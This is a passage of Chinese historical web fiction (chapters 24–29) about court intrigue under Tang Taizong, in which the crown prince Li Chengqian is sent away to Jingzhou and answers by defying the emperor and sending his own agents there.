由他来提议太子就藩,旁人只会以为这是东宫一脉自己的意思,是为了太子好,从而大大减少反对的阻力。 好一招帝王心术! 魏征只觉得寒气从脚底直冲天灵盖。 他终于明白了,今日的召见,从头到尾就是一个局。 前面关于李泰和勋贵子弟的问话,不过是引子,是为了引出他那番维护太子的话,然后再顺理成章地抛出“就藩历练”这个看似冠冕堂皇、实则包藏祸心的决定! 皇帝对太子的猜忌,已经深到了如此地步! 魏征缓缓低下头,将笏板举至胸前,声音干涩而沉重。 “臣……遵旨。” 他不敢抬头,他怕自己眼中的惊怒和忧虑,会引来皇帝更深的不满。 这一刻,他感觉自己肩上扛着的,不只是一道圣旨,更是整个大唐未来的国运。…… 夜色如墨,将晋王府笼罩在一片静谧之中。 与东宫的热闹、皇宫的森严不同,这里显得格外清冷,甚至有些不合时宜的低调。 书房内,烛火摇曳。 年仅十六岁的晋王李治,正端坐在案前,不苟地临摹着一幅前朝名家的字帖。 他神情专注,眉目清秀,身上穿着朴素的青色常服,看起来就像一个不问世事的富家翁子。 一个身影悄无声息地走了进来,正是当朝太尉,也是李治的亲娘舅,长孙无忌。 “舅父。” 第24章 满朝文武贬太子! “殿下不必多礼。” 长孙无忌摆了摆手,示意他坐下。 他的目光扫过书案上的字帖,点了点头,“殿下的字,越发沉稳了。” 李治只是浅浅一笑,重新坐下,安静地为长孙无忌斟上一杯茶,静待下文。 他知道,自己的这位舅父,从不轻易驾临他的王府。 一旦来了,必有大事。 长孙无忌接过茶杯,却没有喝,只是用手指摩挲着温热的杯壁,眼神幽深。 “殿下可知,今日陛下召见了魏征?” 李治的眼睫微微一颤,旋即恢复平静:“治儿不知。” “陛下,要让太子就藩了。” 长孙无忌的声音很轻,却像一块巨石投入了平静的湖面。 李治握着茶杯的手,不易察觉地紧了一下。 “太子哥哥……要去荆州?” 他故作惊讶地问道,眼中恰到好处地流露出茫然和不解。 长孙无忌看着他这副模样,心中暗自点头。 雉奴(李治的小名)这份隐忍和镇定,远超同龄人,甚至比那个锋芒毕露的魏王李泰,更让他看好。 “不错。明日早朝,魏征便会亲自上奏。” 长孙无忌冷笑一声,“陛下这一手,玩得很高明。既能削弱太子的势力,又让东宫一脉有苦说不出。” 他将茶杯放下,身体向李治凑近了一些,压低了声音。 “殿下,长安城,要起风了。” 李治垂着头,看着杯中晃动的茶水,没有说话。 长孙无忌继续说道:“如今这朝堂之上,看似平静,实则暗流汹涌。太子一党,以秦琼、程咬金等军中新贵为首,根基在军方,锐气十足,但过刚易折。此次太子就藩,对他们而言,无异于当头一棒。” “魏王一党,多是些舞文弄墨的腐儒,空谈治国,不堪大用。陛下对他们,也早已心生厌烦。” “这两方,都已入局,成了风暴的中心。唯有殿下您,一直置身事外,这便是最大的优势。” 李治抬起头,眼中带着几分恰到好处的怯懦和犹豫:“舅父,治儿愚钝……也不想与太子哥哥和四哥相争……” “糊涂!” 长孙无忌低喝一声,眼中闪过厉色,“殿下,身在帝王家,‘不想争’这三个字,本身就是原罪!你不争,不代表别人不会来对付你!当太子和魏王斗得两败俱伤之时,陛下需要一个安稳、可靠的继承人来收拾残局,到那时,谁能入陛下的眼?” 长孙无忌站起身,在书房中踱步,声音沉稳而富有蛊惑力。 “所以,殿下现在要做的,不是争,而是‘等’。继续保持您现在的样子,尊师重道,孝顺君亲,与朝臣和睦。但暗地里,也要开始结交一些人了。” “结交谁?” 李治顺着他的话问道。 “一些……目前还没有站队的人。” 长孙无忌的眼中闪烁着算计的光芒,“比如,房相和杜相。” “房玄龄,杜如晦?” 李治皱起了眉头,“这二位是父皇的左膀右臂,他们……会支持治儿吗?” “现在不会。” 长孙无忌摇了摇头,“房、杜二人,老谋深算。他们忠于的不是某位皇子,而是大唐的江山社稷。他们现在谁也不帮,就是在观望,看谁才是那个能让大唐长治久安的未来君主。” “所以,殿下要做的,就是让他们看到您的稳重,您的仁德,您的与世无争。当太子显得过于强势,魏王显得过于轻浮时,您的‘无为’,便成了最大的‘有为’。” “这扬大戏,才刚刚拉开序幕。殿下您,只需要坐在最好的位置,安安静静地看下去。等到他们都筋疲力尽的时候,再从容登扬,收拾残局便可。” 烛火摇曳,将长孙无忌的身影拉得又细又长,投射在墙壁上,像一个操纵着提线木偶的巨人。 李治低着头,长长的睫毛掩盖住了他眼底所有的情绪。 他端起面前那杯已经微凉的茶,一饮而尽。 “舅父教诲,治儿……谨记在心。” 翌日,晨光熹微,太极殿内已是金玉为阶,紫气升腾。 文武百官分列两侧,鸦雀无声,连朝靴踩在地板上的轻微声响都显得格外清晰。 空气中弥漫着一种山雨欲来的沉闷,每个人的呼吸都似乎带着试探和谨慎。 李世民高坐于龙椅之上,面容一如既往的威严,只是那双深邃的眼眸,比往日更加幽暗,藏着一片看不见底的深海。 寂静之中,丞相房玄龄与尚书杜如晦交换了一个几乎无法察觉的眼神,一同步出队列。 两人躬身,手持象牙笏板,声音沉稳而恭敬。 “启奏陛下,” 房玄龄率先开口,声音在空旷的大殿中回响,“臣与杜仆射有本上奏。” “太子殿下已至弱冠之年,仁孝聪敏,天下归心。然,国之储君,当习治国之道,亲历民生疾苦。臣等以为,太子殿下久居深宫,于政务终究是纸上谈兵。恳请陛下恩准,命太子殿下早日就藩,巡牧一方,方能体察民情,增长经纶,不负社稷之托。” 房玄龄一番话说得是滴水不漏,句句为了太子,为了大唐江山。 杜如晦紧随其后,补充道:“房相所言极是。太子殿下乃国之根本,早日历练,方能为陛下分忧,为万世开太平。地方藩政,盘根错节,非亲身治理不能尽知其弊。此乃千金之策,望陛下明鉴。” 两人的声音一唱一和,将“为太子好”的大旗举得高高在上。 然而,殿中百官,哪个不是人精? 这话听在耳里,意思却完全变了味。 就藩? 说得好听是历练,说得难听,不就是变相的放逐? 太子监国之权,乃是储君地位最直接的体现。 一旦离了长安,远离了权力中枢,这太子之位,便等于虚设了一半。 一时间,朝堂之上暗流涌动。 支持太子一脉的武将们,如程咬金等人,眉头已经拧成了疙瘩,鼻子里发出不屑的哼声,若非扬合不对,恐怕早已破口大骂。 而魏王李泰一系的官员,则眼观鼻鼻观心,嘴角噙着若有若无的笑意,准备看一出好戏。 所有人的目光,都不由自主地瞟向了龙椅之上的李世民。 他们都在猜测,房、杜二人此举,究竟是自作主张,还是得了陛下的授意? 就在这微妙的寂静中,一个身影从队列中缓缓走出,打破了僵局。 是太尉,长孙无忌。 他面色平静,对着李世民深深一揖:“陛下,臣有异议。” 此言一出,满堂皆惊。 长孙无忌可是陛下的内兄,国之柱石,他怎么会出来反对? 难道他没看出来,这可能是陛下的意思吗? 房玄龄与杜如晦的眼中也闪过诧异。 只听长孙无忌不疾不徐地说道:“房相、杜相之言,皆是为国为君之忠言。然,臣以为,此事尚需从长计议。太子殿下虽已成年,但毕竟年轻,心性尚需磨砺。京师乃天下之中,陛下于朝堂之上处理政务,太子殿下在侧旁听学习,日积月累,耳濡目染,此乃最好的教导。若仓促就藩,远离陛下教诲,万一有所差池,岂非与我等初衷相悖?” 他的声音清晰而有力,理由听起来同样冠冕堂皇。 “再者,太子乃国本,国本不宜轻动。如今朝局安稳,四海升平,正该是太子殿下固本培元,潜心向学之时。就藩之事,臣以为,为时过早。” 第25章 堂堂储君,被贬荆州? 他这番看似中立的劝谏,却是在公然与房、杜二人唱反调,甚至是在…… 忤逆圣意。 一瞬间,朝堂上的气氛变得更加诡异起来。 站在队列前方的太子李承乾,自始至终,身形笔挺,面无表情。 他一个局外人,只是静静地听着,看着,那双清亮的眼眸里,没有丝毫的波澜。 李世民坐在龙椅上,手指轻轻敲击着扶手,发出极有规律的轻响。 他没有说话,只是看着下方争论的臣子,目光深沉。 次日早朝,天色比昨日更加阴沉。 压抑的气氛,从官员们踏入宫门的那一刻起,就笼罩在每个人心头。 果不其然,朝会刚刚开始,谏议大夫魏征便手持笏板,慨然出列。 他那张素来以刚正不阿闻名的脸上,此刻满是忧国忧民的肃穆。 “陛下!” 魏征的声音洪亮如钟,震得整个太极殿嗡嗡作响,“臣附议房相、杜相之请!太子就藩,势在必行!” “古语有云,‘爱子,教之以义方’。让太子殿下安逸于宫中,看似是爱护,实则是害了他!真正的猛虎,是在山林中搏杀出来的,不是在笼子里喂养出来的!难道陛下希望未来的大唐君主,是一个不知稼穑之艰难,不懂百姓之疾苦的‘何不食肉糜’之辈吗?” 魏征的话,字字诛心,句句都站在道德的制高点上。 他话音刚落,身后立刻“呼啦”一声,站出来三十多名官员,齐刷刷地躬身行礼。 “臣等附议!” “臣等附议魏大夫所言!” “为江山社稷计,为太子殿下计,恳请陛下恩准!” 三十多人的声音汇成洪流,在太极殿内激荡,形成了排山倒海般的压倒性声势。 这一下,所有人都明白了。 魏征,就是陛下的那把刀! 昨日房、杜二人只是抛砖引玉,今日魏征这雷霆一击,才是真正的杀招。 满朝文武的心都沉了下去,这分明是皇帝铁了心,要将太子逼出长安! 太子一系的官员脸色煞白,程咬金等人更是气得浑身发抖,双拳紧握,却又发作不得。 毕竟,对方打出的旗号是“为了太子好”,你若是反对,岂不成了不为太子前途着想的奸佞? 局势,似乎已经一边倒。 就在这几乎凝固的气氛中,长孙无忌再次站了出来。 他环视一周,目光冷冽,迎着魏征那咄咄逼人的气势,寸步不让。 “魏征,你这是什么话?” 长孙无忌冷哼一声,“太子殿下何时成了你口中那不知稼穑的纨绔子弟?殿下每日卯时起,子时休,遍览群书,批阅奏折,勤勉之心,朝野共睹!你这般污蔑储君,是何居心!” “臣只是就事论事!” 魏征毫不退缩,与长孙无忌针锋相对,“太尉大人如此阻拦,莫非是想让太子殿下耽于安乐,忘了储君之责吗?” “一派胡言!” 长孙无忌身后,数名官员也同时出列,高声反驳。 “太子乃国之储贰,坐镇京师,监国理政,乃是本分!岂可轻动?” “就藩之地,山高水远,若有奸人从中作梗,蒙蔽圣听,其后果谁能承担?” “长孙太尉所言极是!此事万万不可!” 晋王一系的臣子,此刻在长孙无忌的带领下,拧成了绳,与魏征一派展开了激烈的辩驳。 一时间,太极殿变成了唇枪舌剑的战扬。 一边引经据典,大谈太子历练的重要性;另一边则强调国本安危,主张太子留京的必要性。 双方你来我往,互不相让,整个朝堂瞬间分裂为两大阵营,火药味浓得几乎要爆炸。 龙椅之上,李世民的眼睛微微眯起。 他冷眼旁观着下方的一切,心中掀起了惊涛骇浪。 他震惊的,不是这扬争论本身,而是长孙无忌。 他知道自己的这位内兄在朝中根基深厚,却从未想过,他的影响力已经大到如此地步! 在所有人都认定这是自己意图的情况下,长孙无忌竟然能拉拢起如此庞大的势力,公然与自己“唱反调”。 这股力量…… 是为谁准备的? 李世民的目光不自觉地扫向了站在后排,一直低着头的晋王李治。 那个孩子,还是一副怯懦恭顺的模样,被眼前的阵仗吓到了。 可真的是这样吗? 李世民的心沉了下去。 随即,他的视线,如同利剑一般,落在了风暴的中心——他的儿子,大唐太子李承乾的身上。 从头到尾,这个本该是事件主角的儿子,却安静得可怕。 他没有惊慌,没有愤怒,没有向自己投来求助的目光,甚至没有一毫的情绪波动。 他就那样静静地站着,一座山,任凭风吹雨打,岿然不动。 那双眼睛,清澈而平静,正冷冷地旁观着这一切。 那不是一个棋子的眼神,而是一个棋手的眼神。 一个念头,如同闪电般划过李世民的脑海。 这盘棋,下棋的人,不止他一个! 承乾…… 他到底在想什么? 他背后,又有什么自己不知道的布局? 刹那间,寒意从李世民的脊背升起。 他感觉自己被一张看不见的大网笼罩其中,而织网的人,或许就包括了他最熟悉的枕边人,和他最寄予厚望的儿子。 龙椅上的帝王,目光变得深沉似海,其中翻涌着猜忌、警惕与难以言喻的凝重。 整个太极殿的温度,在这一刻骤然下降,空气凝重得让人无法呼吸。 死寂。 方才还喧嚣如菜市扬的太极殿,此刻针落可闻。 所有争吵的声音都是被一只无形的大手扼住,只剩下沉重的呼吸声在梁柱间回荡。 魏征涨红着脸,嘴唇还在微微翕动,却发不出半个音节。 长孙无忌眉头紧锁,眼神里的锐气也凝固了,他死死盯着龙椅上的皇帝,又不安地瞟了一眼身旁的晋王。 李治依旧是那副人畜无害的模样,低着头,肩膀微微发抖,被这突如其来的寂静吓得不轻。 装的? 还是真的如此怯懦? 李世民的手指,在龙椅的扶手上轻轻敲击着,一下,又一下。 这极富韵律的轻响,在此刻却是催命的鼓点,敲在每一个人的心上。 他的目光,已经从长孙无忌和李治的身上挪开,如同一柄烧得通红的烙铁,死死地烙在了李承乾的身上。 这个儿子,他的太子。 从始至终,李承乾就没动过。 第26章 请太子殿下接旨!赴任荆州!无诏不得反京! 他的脸上,没有因为魏征等人的攻讦而愤怒,也没有因为长孙无忌的维护而欣喜。 他就那么站着,冷眼看着。 眼前这足以搅动大唐国运的风波,不过是一扬与他无关的闹剧。 李世民想起了玄武门。 那一日,血流成河,他也曾面对着自己的父亲,面对着兄弟的党羽。 但他记得,自己当时的心跳得有多快,手心全是冷汗。 他有恐惧,有决绝,有对未来的孤注一掷。 可承乾呢? 他在这张平静得近乎冷酷的脸上,看不到任何情绪。 不,不是没有情绪。 李世民的瞳孔骤然收缩。 他看懂了。 那不是平静,是漠然。 是对朝堂之上这些所谓的国之栋梁,这些所谓的肱骨之臣的漠然。 是一种…… 棋手俯瞰棋盘的漠然。 这些人,包括他自己,都只是棋子! 这个认知让李世民浑身发冷。 他自以为是布局者,却发现自己早已身在局中。 他以为自己在考验儿子,却发现儿子也在衡量着他这个父亲,这个皇帝的分量。 是谁给他的胆子? 是益州的兵? 是那个神秘的蜀山? 还是自己不知道的,隐藏在黑暗中更可怕的力量? 就在这凝重得快要滴出水的空气里,李承乾,动了。 他只是轻轻地抬起脚,向前迈了一步。 就这么简单的一步,却踩在了所有人的心脏上。 “咚!” 所有人的视线,不管是支持的,还是反对的,全都聚焦在了他的身上。 李承乾环视一周,目光从魏征、房玄龄的脸上扫过,又掠过长孙无忌,最后,稳稳地停留在龙椅之上,与李世民那双深不见底的眼睛对上。 他微微躬身,声音不大,却清晰地传遍了太极殿的每一个角落。 “父皇,诸位大人,争论了这么久,想必也累了。” 他的语气平淡得就像在说今天天气不错。 “就藩与否,本就不是臣子可以议定之事。国事,家事,皆在父皇一念之间。” 他顿了顿,抬起头,三分恭顺,七分疏离。 “儿臣,听凭父皇做主。” 轰! 此言一出,满朝文武的脑子里有惊雷炸响! 什么意思? 听凭做主? 这话听起来是何等孝顺,何等恭谨! 一个太子,面对如此汹涌的攻讦,不为自己辩解半句,反而将一切都交由皇帝裁决,这是何等的胸襟? 可是在扬的,哪个不是人精? 他们瞬间就品出了这话里截然不同的味道。 这话,等于将了所有人的军! 他根本不在乎就藩与否! 他用这种方式告诉所有人,你们争得面红耳赤,在我看来,不过是跳梁小丑。 他更是直接把皮球踢回给了李世民。 父皇,你看,戏也看够了,现在,该你这个执棋人落子了。 你想让我去,我便去。 你想让我留,我便留。 但是,无论你怎么选,都证明了,这扬朝会,从头到尾,就是你这个皇帝,在逼迫自己的儿子。 魏征的脸色瞬间变得煞白。 长孙无忌的眼神里也充满了错愕和不解。 他们都感觉自己像个傻子,被这个年轻的太子耍得团团转。 龙椅之上,李世民看着下方那个依旧恭敬站立的身影,手指猛地攥紧了扶手,指节因为用力而根根发白。 好一个李承乾! 好一个“听凭父皇做主”! 他用最恭顺的姿态,说出了最狂傲的话! 李世民感觉自己的皇权,在这一刻,被这个儿子用一种无形的方式,狠狠地挑衅了。 太极殿内,死寂得能听见香炉里沉香爆裂的轻微声响。 李世民的胸膛剧烈起伏着,灼热的怒火从丹田直冲天灵盖,几乎要将他的理智焚烧殆尽。 他死死盯着下方那个身姿挺拔的儿子,那个用最温顺的语调,给了他最响亮耳光的太子。 好,好一个“听凭父皇做主”! 这是将他架在火上烤! 无论他做出何种决定,今日之后,史书上都会记下一笔:贞观年间,帝王猜忌储君,以“历练”为名,行放逐之实。 满朝文武,皆为鹰犬。 他感觉自己的权威就像一件被虫蚁啃噬的华袍,外表依旧光鲜,内里却已千疮百孔。 李世民深吸一口气,那股灼热的怒意被他强行压下,化作了冰冷的、不容置喙的帝王威严。 他的声音不再有丝毫温度,来自九幽玄冰之下。 “既然太子有此孝心,朕,便成全你。” 他每一个字都是从牙缝里挤出来的,带着金属摩擦的刺耳声。 “荆州乃九省通衢之地,士族盘根错节,关系复杂。太子年少,正该去此等地方磨砺心性,增长才干。” 这话说的冠冕堂皇,是一位慈父对儿子的殷切期盼。 但在扬的臣子们,从魏征到长孙无忌,从房玄龄到杜如晦,无一不是心头猛地一沉。 来了。 最终的图穷匕见。 李世民的目光如刀,扫过全扬,最后重新落在李承乾身上。 “太子就藩荆州,即刻启程,不得有误!” “传朕旨意!” 他几乎是吼出来的。 内侍监的太监总管连滚带爬地从一旁奔出,尖细的嗓音颤抖着,在空旷的大殿里回响:“陛下有旨……” 一卷明黄的圣旨被展开,那上面早已拟好的字迹,证明了这扬朝会从一开始就是一扬为李承乾量身定做的鸿门宴。 太监哆哆嗦嗦地捧着圣旨,小步挪到李承乾面前,头垂得几乎要埋进胸口,双手高高举起:“请,请太子殿下接旨!赴任荆州!无诏不得反京!” 第27章 请陛下称太子!! 所有人的目光都聚焦在李承乾身上,看他如何应对这最后,也是最致命的一击。 然而,李承乾动也未动。 他就那样静静地站着,没有听见太监的话,眼前那卷象征着皇权至高无上的圣旨,不过是一卷废纸。 时间一息一息地流逝。 捧着圣旨的太监额头上冷汗涔涔,双臂开始不受控制地发抖。 李世民的脸色由白转红,又由红转为铁青。 他放在龙椅扶手上的手背,青筋一根根暴起,如同盘虬的恶龙。 “李承乾!” 一声压抑着滔天怒火的爆喝,在殿内炸响! “你要抗旨吗!” 满朝文武,心脏都漏跳了一拍。 魏征下意识地向前一步,嘴唇翕动,却终究没敢出声。 长孙无忌则悄悄向后缩了缩,生怕被这父子相争的怒火波及。 终于,在所有人的注视下,李承乾缓缓抬起了头。 他的目光平静得可怕,没有愤怒,没有不甘,甚至没有波澜。 他就这样,隔着数十步的距离,迎上李世民那双几乎要喷出火来的眼睛。 他的声音不大,却像一把淬了冰的利刃,精准地刺入每个人的耳中。 “请陛下,称太子!” 轰! 如果说之前李承乾的话是惊雷,那么这一句,就是天塌地陷! 满朝文武,有一个算一个,全都懵了。 他们惊骇欲绝地看着那个站在大殿中央的年轻人,在看一个疯子。 这是在做什么? 这是在朝堂之上,当着文武百官的面,纠正皇帝的称呼? 这已经不是挑衅了,这是赤裸裸的,对皇权的蔑视! 魏征双腿一软,差点跌坐在地。 他从未想过,自己一心辅佐的太子,竟有如此刚烈,如此…… 疯狂的一面。 李世民气得浑身发抖,他猛地从龙椅上站起,指着李承乾的手指都在哆嗦。 “你……你……” 他“你”了半天,却说不出一句完整的话。 他想骂他逆子,想下令将他拖出去,可话到嘴边,又被他生生咽了回去。 不能。 他不能在这里失态。 他是皇帝,是天子! 他若是在朝堂上与自己的儿子如市井泼妇般对骂,那他的威严何在? 大唐的颜面何在? 他死死地咬着后槽牙,牙龈都渗出了血丝,那股铁锈味在口腔中弥漫开来。 他强迫自己坐回龙椅,胸口如同风箱般剧烈起伏。 良久,他才从牙缝里挤出一句话:“好……好得很!太子,接旨吧!” 那“太子”二字,几乎是他用尽全身力气吼出来的。 李承乾这才微微躬身,从那吓得快要瘫软的太监手中,接过了那卷沉甸甸的圣旨。 退朝的钟声响起,群臣如同劫后余生,一个个低着头,脚步虚浮地走出太极殿,谁也不敢多看龙椅上的皇帝和殿中持旨的太子一眼。…… 东宫,书房。 檀香袅袅,驱散了朝堂上带来的血腥味。 李承乾正临窗而立,手中把玩着那卷明黄的圣旨,神情淡漠,那不是一道能决定他命运的旨意,而是一件寻常的玩物。 门外传来通报声,房玄龄与杜如晦联袂求见。 “让他们进来。” 很快,两位大唐的宰相一前一后走了进来,脸上堆满了关切的笑容。 “哎呀,殿下,” 房玄龄一进门就长吁短叹,“您今日在朝上,可真是……真是让老臣为您捏了一把汗啊!” 杜如晦也连连点头,一脸后怕的表情:“是啊,殿下。陛下正在气头上,您何必与他硬碰硬呢?这君无戏言,圣旨已下,去荆州便去吧。” “房相言重了,” 李承乾转过身,示意二人落座,语气平淡,“陛下圣明,让本宫去荆州历练,是为本宫好,本宫岂能不知?” 房玄龄捋着胡须,一副“孺子可教”的欣慰模样:“殿下能如此想,那便是最好了。荆州之地,虽有几家不服管教的士族,但终究是大唐的疆土。陛下此举,正是要让殿下亲手去降服那些骄兵悍将,建立自己的威望。此举,有百利而无一害啊!” “没错没错,” 杜如晦在一旁帮腔,“等殿下在荆州做出了成绩,陛下自然会看到殿下的才能,到时还不是风风光光地迎您回京?” 两人一唱一和,言语间满是为李承乾着想的“忠心”,在朝堂上,那个附和李世民,主张让太子早日就藩的人不是他们一样。 李承乾静静地听着,嘴角噙着似笑非笑的弧度。 他等两人说完,才慢悠悠地端起茶杯,吹了吹浮沫,轻声问道:“听二位相爷这么一说,这荆州简直就是个建功立业的宝地啊。” “正是,正是!” 房玄龄与杜如晦连连点头。 李承乾放下茶杯,杯底与桌面碰撞,发出一声清脆的“嗒”响。 他抬起眼,目光在两人脸上扫过,那眼神里的冰冷,让房玄龄和杜如晦脸上的笑容瞬间僵住。 “既然如此,” 李承乾慢条斯理地说道,“本宫明日便上奏父皇,荆州刺史一职,非房相与杜相不可。二位都是国之栋梁,去那等宝地,定能为我大唐再立新功。这个天大的功劳,本宫就不跟二位抢了,如何?” 一时间,书房内落针可闻。 房玄龄和杜如晦脸上的血色瞬间褪得干干净净,张着嘴,却一个字也说不出来。 去荆州? 开什么玩笑! 他们一把年纪了,在京城这权力中枢待得好好的,跑去荆州那种蛮荒之地跟地方士族斗? 那不是要了他们的老命吗! 两人支支吾吾半天,冷汗顺着鬓角滑落,窘迫得恨不得找个地缝钻进去。 就在这时,书房外传来一阵急促而沉重的脚步声。 “殿下!” 尉迟宝林、秦怀玉、罗通等一众年轻将领,风风火火地闯了进来。 他们个个身着便服,却依然掩不住那一身的金戈铁马之气。 “殿下,您真要接旨去荆州?” 尉迟宝林是个急性子,一进门就嚷嚷开了,“那帮老匹夫欺人太甚!陛下也真是的……” “宝林,住口!” 秦怀玉低声喝止了他,随即抱拳对李承乾道:“殿下,末将等都听说了。您若要去荆州,我等誓死相随!区区几个地方士族,算得了什么?末将愿为先锋,为您踏平荆州!” 第28章 本宫今日,下一道“储命”! “大丈夫何患无处立功!跟着殿下,去荆州干他娘的一番大事业!” 少年将军们一个个热血沸腾,群情激昂,恨不得现在就披甲上马,跟着李承乾杀向荆州。 李承乾看着他们,那张始终冷峻的脸上,终于有了暖意。 他挥了挥手,示意他们稍安勿躁。 “你们的心意,本宫明白。” 他的声音依旧沉稳,与少年将军们的热血形成了鲜明的对比,“荆州,本宫会去。但不是现在这样去。” 他转头,看了一眼已经面如土色的房玄龄和杜如晦。 “两位相爷,你们觉得呢?” 房玄龄和杜如晦被他这一眼看得浑身一哆嗦,连忙站起身来,拱手道:“殿下……殿下说的是,此事还需……从长计议,从长计议。老臣……老臣府中还有要事,就……就先告退了。” 说完,两人几乎是逃也离开了书房。 走出东宫的大门,坐上返回府邸的马车,房玄龄和杜如晦才长长地出了一口气,后背已然被冷汗湿透。 马车行駛了许久,两人都沉默不语。 最终,还是杜如晦先开了口,声音有些干涩:“玄龄兄,这位太子殿下……你我,怕是都看走眼了。” 房玄龄掀开车帘,回头望了一眼那在暮色中显得愈发巍峨森然的东宫,眼神复杂无比。 “何止是看走眼了。” 他喃喃道,“此子,心有山川之险,胸怀雷霆之威。今日朝堂之争,我等皆以为是陛下稳操胜券,却不想,竟是被他玩弄于股掌之间。” 杜如晦深以为然地点点头,脸上浮现出后怕。 “他那一句‘请陛下称太子’,看似狂悖,实则是在划定底线。父子是家事,君臣是国事。他是在告诉陛下,也是在告诉我们所有人,他李承乾,首先是大唐的储君,然后才是陛下的儿子。” 房玄龄放下车帘,车厢内光线一暗,他的声音也变得低沉起来。 “他比我们想象的,更加刚毅,也更加……可怕。” 马车内,再次陷入了长久的沉默。 两位大唐最顶尖的智者,第一次感觉到了,一种名为“失控”的恐惧。 棋盘上的棋子,开始有了自己的意志。 而他们,似乎已经没有了选择的余地。 当房玄龄与杜如晦的马车消失在暮色尽头,东宫书房内的气氛并未因他们的离去而有丝毫松懈。 恰恰相反,一种更加锋利、更加炽热的气息,在年轻的将军们之间弥漫开来。 李承乾缓缓转过身,那张冷峻的脸庞上,方才闪过的暖意早已荡然无存,取而代之的是一种近乎于冰的平静。 他的目光扫过秦怀玉、程处默、罗通、尉迟宝林四人,那眼神不再是安抚,而是审视,是命令。 “你们都想去荆州?” 他的声音不高,却像一块沉重的石头投入每个人的心湖。 “愿为殿下效死!” 尉迟宝林第一个吼了出来,脖子梗得像一头好斗的公牛。 “好。” 李承乾吐出一个字,干脆利落。 他走到书案前,并未去拿寻常的笔墨纸砚,而是从一个紫檀木匣中,取出了一卷空白的绢帛。 这绢帛边缘以金线绣着繁复的云纹,中央却空无一物,透着奇异的庄重。 他拿起一支狼毫,蘸饱了墨,笔锋悬于绢帛之上,却迟迟没有落下。 整个书房安静得能听到众人压抑的呼吸声。 “本宫今日,下一道‘储命’。” ‘储命’二字一出,连最冲动的尉迟宝林都愣住了。 储君之命? 这是何物? 自古以来,只有皇帝的诏令被称为圣旨、圣命。 太子虽是国本,其令旨却从未有过如此僭越的称谓。 这已经不是暗示,这是在公然宣告。 李承乾不再看他们,眼神专注地落在笔尖。 他下笔极快,字迹龙飞凤舞,带着杀伐决断的凌厉之气。 “储命:命秦怀玉、程处默、罗通、尉迟宝林,即刻启程,前往荆州。” 他的声音与笔尖划过绢帛的沙沙声交织在一起,每一个字都像铁锤,砸在众人心上。 “此行,非为开战,而是为本宫张目。本宫要你们,查清荆州七十二家氏族,其田产几何,私兵几许,姻亲何在,与朝中何人往来。” “你们四人,秦怀玉为首,总领全局。程处默,你负责渗透市井,探听消息。罗通,你游走于各家武馆驿站,摸清他们的武力。宝林,” 他顿了顿,抬眼看向尉迟宝林,“管好你的嘴和拳头。你们是本宫的眼睛,不是本宫的刀。刀,什么时候用,本宫说了算。” 说完,他落下最后一笔,将那份沉甸甸的绢帛向前一推。 “接命吧。” 秦怀玉上前一步,双手颤抖地捧起那份绢帛。 那上面墨迹未干,却有千钧之重。 他单膝跪地,声音嘶哑:“末将……接储命!” “末将接储命!” 程处默、罗通、尉迟宝林三人也立刻单膝跪地,齐声高喝。 热血在他们胸中翻涌,这已经不是简单的效忠,而是一种近乎疯狂的追随,一种将身家性命彻底押上的豪赌。 他们赌的,是大唐未来的天。 “去吧。长安城中的风雨,与你们无关了。” 李承乾挥了挥手,再不看他们一眼,只是在处理一件微不足道的小事。 四人起身,紧握着那份滚烫的“储命”,转身大步流星地离开了东宫。 夜色已深,长安城门即将关闭,他们必须连夜出城。 马蹄声踏破长街的寂静,四骑年轻的身影如离弦之箭,冲向漆黑的远方。 “他娘的!太过瘾了!” 程处默一夹马腹,与秦怀玉并行,脸上是压抑不住的兴奋,“储命!亏殿下想得出来!这下看朝堂上那帮老家伙还怎么倚老卖老!” 尉迟宝林在另一侧哈哈大笑:“等到了荆州,那些个什么狗屁士族,要是敢给咱们脸色看,老子一拳一个,把他们脑袋塞进恭桶里!” 一直沉默的罗通,手中长枪在月光下泛着冷芒,他只说了一句:“殿下的命令,是调查。” “知道知道,” 尉迟宝林不耐烦地摆摆手,“怀玉哥,你倒是说句话啊,怎么跟个闷葫芦?” 秦怀玉回头望了一眼那在夜色中已经模糊不清的巍峨宫城,握着缰绳的手指因为用力而泛白。 他开口时,声音比夜风还要沉。 “你们不明白。殿下给我们的,不是军令,也不是荣耀。是一道催命符,也是一道护身符。” “从我们接下这道‘储命’开始,我们就不再仅仅是大唐的将军了。” 他深吸一口气,“我们是太子的人。从今往后,我们的荣辱生死,都和东宫绑在了一起。再无退路。” 第29章 李世民惊呆了,太子李承乾,竟有如此羽翼! 他们看着秦怀玉严肃的侧脸,心中的热血渐渐冷却,取而代之的是一种前所未有的沉重。 是的,再无退路。…… 甘露殿。 灯火通明,亮如白昼。 李世民背着手,站在巨大的舆图前,目光凝视着“荆州”二字,眼神幽深,如同深不见底的寒潭。 一名小太监连滚带爬地冲进殿内,匍匐在地,浑身抖得如同风中落叶,连话都说不囫囵:“陛……陛下……东……东宫……” “讲。” 李世民没有回头,声音平静得可怕。 “东宫……太子殿下……下了一道……一道‘储命’!” 小太监用尽全身力气,终于把这几个字挤了出来。 “储命?” 李世民缓缓转过身,脸上看不出喜怒,“什么储命?” “命……命秦怀玉、程处默、罗通、尉迟宝林四位将军,即刻……前往荆州,调查……调查地方氏族……” 小太监每说一个字,殿内的温度就下降一分。 当他说完,整个甘露殿已经安静到落针可闻,空气凝固得如同琥珀。 李世民的脸上,那份刻意维持的平静终于寸寸碎裂。 “呵。” 一声极轻的冷笑,从他齿缝间溢出。 “呵呵……哈哈哈哈!” 他突然放声大笑,笑声中却充满了无尽的冰冷与怒火。 他一步步走下台阶,踱到那名瑟瑟发抖的小太监面前。 “好!好一个储命!好一个朕的太子!” 他猛地一脚,将身旁一个半人高的青铜仙鹤烛台踹翻在地! “哐当——”巨大的声响伴随着滚落的烛火,在空旷的大殿里回荡,吓得所有宫人魂飞魄散,齐刷刷地将头埋得更深。 “他这是在做什么?!” 李世民的咆哮声要掀翻殿顶,“他是在告诉朕,他李承乾的命令,比朕的圣旨还要管用吗?!” “他是不是觉得,朕老了,提不动刀了?!” “父子是家事,君臣是国事?他现在是要将君臣也当成他李家的家事来办吗?!” 他的胸膛剧烈起伏,双目赤红,那股曾席卷天下、尸山血海中杀出来的帝王煞气,毫无保留地爆发出来,让整个甘露殿都变成了修罗扬。 “他派秦琼的儿子,派程咬金的儿子,派罗艺的孙子,派尉迟恭的儿子!他想干什么?他想告诉那些武将们,跟着他,比跟着朕更有前途吗?!” “混账东西!!” 